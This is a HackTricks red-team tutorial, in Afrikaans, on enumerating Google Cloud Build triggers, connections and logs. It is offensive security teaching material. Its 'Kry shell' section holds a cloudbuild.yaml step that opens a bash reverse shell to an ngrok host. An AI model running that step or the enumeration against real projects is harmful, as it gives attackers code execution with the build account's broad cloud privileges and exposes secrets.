GCP - Cloud Build Enum

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Google Cloud Build is ’n bestuurde CI/CD-platform wat outomatiseer sagteware bou en vrystelling proses, wat integreer met bron kode repositories en ’n wye verskeidenheid programmering tale ondersteun. Dit laat ontwikkelaars toe om kode outomaties te bou, te toets en te ontplooi terwyl dit buigsaamheid bied om bou stappe en werkvloei aan te pas.

Elke Cloud Build Trigger is verwant aan ’n Cloud Repository of direk gekoppel aan ’n eksterne repository (Github, Bitbucket en Gitlab).

Tip

Ek kon nie enige manier sien om die Github/Bitbucket token hier of van Cloud Repositories te steel nie, want wanneer die repo afgelaai word, word dit via ’n https://source.cloud.google.com/ URL toegang verkry en Github word nie deur die kliënt aangespreek nie.

Gebeure

Die Cloud Build kan geaktiveer word as:

  • Push na ’n tak: Spesifiseer die tak
  • Push ’n nuwe etiket: Spesifiseer die etiket
  • Pull versoek: Spesifiseer die tak wat die PR ontvang
  • Handmatige Aanroep
  • Pub/Sub boodskap: Spesifiseer die onderwerp
  • Webhook gebeurtenis: Sal ’n HTTPS URL blootstel en die versoek moet met ’n geheim geverifieer word

Uitvoering

Daar is 3 opsies:

  • ’n yaml/json wat die opdragte spesifiseer om uit te voer. Gewoonlik: /cloudbuild.yaml
  • Slegs een wat “inline” in die webkonsol en in die cli gespesifiseer kan word
  • Meest algemene opsie
  • Relevant vir ongeverifieerde toegang
  • ’n Dockerfile om te bou
  • ’n Buildpack om te bou

SA Toestemmings

Die Diensrekening het die cloud-platform omvang, so dit kan alle voorregte gebruik. As geen SA gespesifiseer is (soos wanneer jy indien) sal die standaard SA <proj-number>@cloudbuild.gserviceaccount.com gebruik word.

Standaard word geen toestemmings gegee nie, maar dit is redelik maklik om dit te gee:

Goedkeuringe

Dit is moontlik om ’n Cloud Build te konfigureer om goedkeuringe vir bou uitvoerings te vereis (standaard gedeaktiveer).

PR Goedkeuringe

Wanneer die trigger ’n PR is omdat enige iemand PRs na openbare repositories kan uitvoer, sou dit baie gevaarlik wees om net die uitvoering van die trigger met enige PR toe te laat. Daarom sal die uitvoering standaard slegs outomaties wees vir eienaars en medewerkers, en om die trigger met ander gebruikers se PRs uit te voer, moet ’n eienaar of medewerker kommentaar lewer /gcbrun.

Verbindinge & Repositories

Verbindinge kan geskep word oor:

  • GitHub: Dit sal ’n OAuth prompt wys wat vra vir toestemmings om ’n Github token te kry wat binne die Secret Manager gestoor sal word.
  • GitHub Enterprise: Dit sal vra om ’n GithubApp te installeer. ’n authentikasie token van jou GitHub Enterprise gasheer sal geskep en in hierdie projek as ’n Secret Manager geheim gestoor word.
  • GitLab / Enterprise: Jy moet die API toegang token en die Lees API toegang token verskaf wat in die Secret Manager gestoor sal word.

Sodra ’n verbinding gegenereer is, kan jy dit gebruik om repositories te koppel waartoe die Github rekening toegang het.

Hierdie opsie is beskikbaar deur die knoppie:

Tip

Let daarop dat repositories wat met hierdie metode gekoppel is, slegs beskikbaar is in Triggers wat 2de generasie gebruik.

Koppel ’n Repository

Dit is nie dieselfde as ’n verbinding nie. Dit laat verskillende maniere toe om toegang tot ’n Github of Bitbucket repository te kry, maar genereer nie ’n verbindingsobjek nie, maar dit genereer ’n repository objek (van 1ste generasie).

Hierdie opsie is beskikbaar deur die knoppie:

Berging

Soms sal Cloud Build ’n nuwe berging genereer om die lêers vir die trigger te stoor. Dit gebeur byvoorbeeld in die voorbeeld wat GCP bied met:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

’n Stoor emmer genaamd security-devbox_cloudbuild word geskep om ’n .tgz met die lêers wat gebruik gaan word, te stoor.

Kry shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Installeer gcloud binne cloud build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumerasie

Jy kan sensitiewe inligting in boukonfigurasies en logs vind.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Privilege Escalation

GCP - Cloudbuild Privesc

Unauthenticated Access

GCP - Cloud Build Unauthenticated Enum

Post Exploitation

GCP - Cloud Build Post Exploitation

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks